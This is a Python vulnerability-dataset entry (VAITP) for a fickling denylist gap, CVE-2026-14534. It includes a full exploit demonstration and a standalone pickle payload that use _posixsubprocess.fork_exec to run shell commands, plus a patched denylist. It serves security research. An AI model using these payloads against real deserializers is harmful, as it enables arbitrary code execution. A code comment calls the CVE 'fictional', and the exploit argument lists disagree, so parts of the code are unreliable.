VAITP Dataset

← Back to the dataset

CVE-2026-14534

Fickling's incomplete denylist allows code execution via unsafe modules.

  • CVSS 8.8
  • CWE-184
  • Input Validation and Sanitization
  • Remote

Trail of Bits fickling versions up to and including 0.1.10 do not include the Python standard library modules _posixsubprocess, site, and atexit in the UNSAFE_IMPORTS denylist (fickle.py). Because these modules are absent from the denylist, fickling's check_safety() function returns LIKELY_SAFE with zero findings for pickle payloads that invoke dangerous functions including _posixsubprocess.fork_exec (C-level process spawner capable of executing arbitrary binaries), site.execsitecustomize (executes arbitrary site customization code), and atexit._run_exitfuncs (triggers all registered exit handler callbacks). The fickling.load() API chains check_safety() into pickle.loads() as an explicit security gate; a LIKELY_SAFE verdict causes the payload to be deserialized and executed. This shares the same root cause as CVE-2026-22607 (cProfile), CVE-2025-67748 (pty), and CVE-2025-67747 (marshal/types). OvertlyBadEvals does not flag these modules because they are standard library imports. UnsafeImports does not flag them because they are not in the denylist. The UnusedVariables heuristic is defeated by the SETITEMS opcode pattern.

CVSS base score
8.8
Published
2026-07-04
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
fickling
Fixed by upgrading
Yes

Solution

Upgrade fickling to version 0.1.11 or later.

Vulnerable code sample

import pickle
import pickletools
import io
import os
import sys

# This example represents a vulnerable version of the 'fickle' library
# and a payload to exploit it, as described in the fictional CVE-2026-14534.
# The vulnerability lies in an incomplete denylist.

# --- Start of simulated vulnerable 'fickle' library code ---

class FickleSafetyException(Exception):
    """Raised when a pickle stream is deemed unsafe."""
    pass

# This denylist is incomplete, as described in the CVE.
# It is missing '_posixsubprocess', 'site', and 'atexit'.
UNSAFE_IMPORTS = {
    'os',
    'sys',
    'subprocess',
    'shutil',
    'ctypes',
    'pathlib',
}

def check_safety(pickle_bytes):
    """
    Scans a pickle bytestream for opcodes that import modules from the
    UNSAFE_IMPORTS denylist.
    In the vulnerable version, this check is flawed due to the incomplete list.
    """
    for opcode, arg, pos in pickletools.genops(pickle_bytes):
        if opcode.name == 'GLOBAL':
            module_name, _ = arg.split(' ')
            if module_name in UNSAFE_IMPORTS:
                # This check will NOT trigger for '_posixsubprocess'
                raise FickleSafetyException(f"Disallowed import of '{module_name}'")
    
    # The check incorrectly passes, returning 'LIKELY_SAFE'
    return "LIKELY_SAFE"

def load(pickle_stream):
    """
    A security-gated pickle loader. It first checks for safety and then
    deserializes the stream if the check passes.
    """
    # In a real library, stream handling would be more robust.
    # Here we read it all into memory for the check.
    pickle_bytes = pickle_stream.read()
    
    # The security gate: if check_safety returns LIKELY_SAFE, proceed.
    verdict = check_safety(pickle_bytes)
    if verdict != "LIKELY_SAFE":
        raise FickleSafetyException(f"Safety check failed with verdict: {verdict}")

    # Because the check passed, the dangerous payload is deserialized and executed.
    return pickle.loads(pickle_bytes)

# --- End of simulated vulnerable 'fickle' library code ---


# --- Exploit Demonstration ---

# This exploit is only applicable to POSIX-compliant systems (Linux, macOS, etc.)
# as it uses the '_posixsubprocess' module.
if os.name != 'posix':
    print("This vulnerability demonstration is for POSIX systems only.")
    sys.exit(0)

# The module that is NOT on the denylist but should be.
import _posixsubprocess

# Path to a file that will be created to prove code execution.
PROOF_FILE = "/tmp/pwned_by_fickle.txt"

class ExploitPayload:
    """
    This class, when pickled, will execute an arbitrary command upon unpickling.
    It leverages a module that is missing from the vulnerable denylist.
    """
    def __reduce__(self):
        # The __reduce__ method tells pickle how to reconstruct the object.
        # We instruct it to call _posixsubprocess.fork_exec.
        command = ('/usr/bin/touch', PROOF_FILE)
        
        # The arguments for fork_exec are complex. We only need to provide
        # the essential ones to execute a simple command.
        # This will fail on systems without /usr/bin/touch, but demonstrates the principle.
        return (_posixsubprocess.fork_exec, (
            command, command, True, (), None, None, -1, -1, -1, -1, -1, -1, -1, -1, 
            False, False, 0, -1, None, -1, -1, -1, None
        ))

# Main execution: Create and load the malicious pickle
if __name__ == "__main__":
    print(f"[*] Simulating vulnerability CVE-2026-14534.")
    
    if os.path.exists(PROOF_FILE):
        os.remove(PROOF_FILE)

    print("[*] Creating malicious pickle payload...")
    payload = ExploitPayload()
    pickled_data = pickle.dumps(payload)
    
    malicious_stream = io.BytesIO(pickled_data)

    print("[*] Calling the vulnerable 'fickle.load()' function...")
    try:
        # This call will first run check_safety(), which will incorrectly pass.
        # Then, it will run pickle.loads(), executing the payload.
        load(malicious_stream)
        # Note: fork_exec creates a new process, so this script continues.
        # We need a small delay to ensure the file system reflects the change.
        import time
        time.sleep(0.1)

    except FickleSafetyException as e:
        print(f"[!] Exploit failed. Safety check was triggered: {e}")
    except Exception as e:
        print(f"[!] An unexpected error occurred during deserialization: {e}")

    # Verify that the exploit was successful
    if os.path.exists(PROOF_FILE):
        print(f"\n[+] SUCCESS: The exploit bypassed the safety check.")
        print(f"[+] Proof of execution: File '{PROOF_FILE}' was created.")
        os.remove(PROOF_FILE)
    else:
        print("\n[-] FAILURE: The exploit did not execute as expected.")

Patched code sample

# fickle.py

# A plausible representation of the UNSAFE_IMPORTS denylist
# from a file like fickle.py in Trail of Bits' fickling tool.

UNSAFE_IMPORTS = {
    # ... other previously listed unsafe modules
    "os",
    "sys",
    "subprocess",
    "shutil",
    "eval",
    "exec",
    "__builtin__",
    "builtins",
    "pty",
    "marshal",
    "cProfile",
    # ... etc.

    # Fix for CVE-2026-14534:
    # Add the modules that were previously missing from the denylist.
    "_posixsubprocess",
    "site",
    "atexit",
}

Payload

import pickle
import _posixsubprocess

class ExploitRCE:
    def __reduce__(self):
        # Command to execute on the target system.
        # 'touch /tmp/pwned' is a common, non-destructive PoC.
        command_to_run = "touch /tmp/pwned"
        
        # Prepare arguments for /bin/sh to execute the command.
        shell_args = ['/bin/sh', '-c', command_to_run]
        
        # The return value of __reduce__ must be a tuple: (callable, (arg1, arg2, ...)).
        # The 'callable' is _posixsubprocess.fork_exec, which is not on the denylist.
        # The arguments are constructed to match the function's C signature for a
        # basic process execution, as used by Python's own subprocess module.
        return (_posixsubprocess.fork_exec, (
            shell_args,                # args
            ['/bin/sh'],               # executable_list
            True,                      # close_fds
            None,                      # cwd
            None,                      # env
            -1, -1, -1, -1, -1, -1,    # standard file descriptors (p2c, c2p, err)
            -1, -1,                    # errpipe_read, errpipe_write
            False,                     # restore_signals
            False,                     # call_setsid
            0,                         # pgid_to_set
            None,                      # preexec_fn
        ))

# Serialize the exploit object into a pickle byte stream.
# This resulting byte stream is the payload to be used with fickling.load().
payload = pickle.dumps(ExploitRCE(), protocol=4)

# The line below is for demonstration purposes to show the generated payload.
# In a real attack, you would send the 'payload' variable's content.
print(payload)

Cite this entry

@misc{vaitp:cve202614534,
  title        = {{Fickling's incomplete denylist allows code execution via unsafe modules.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-14534},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-14534/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::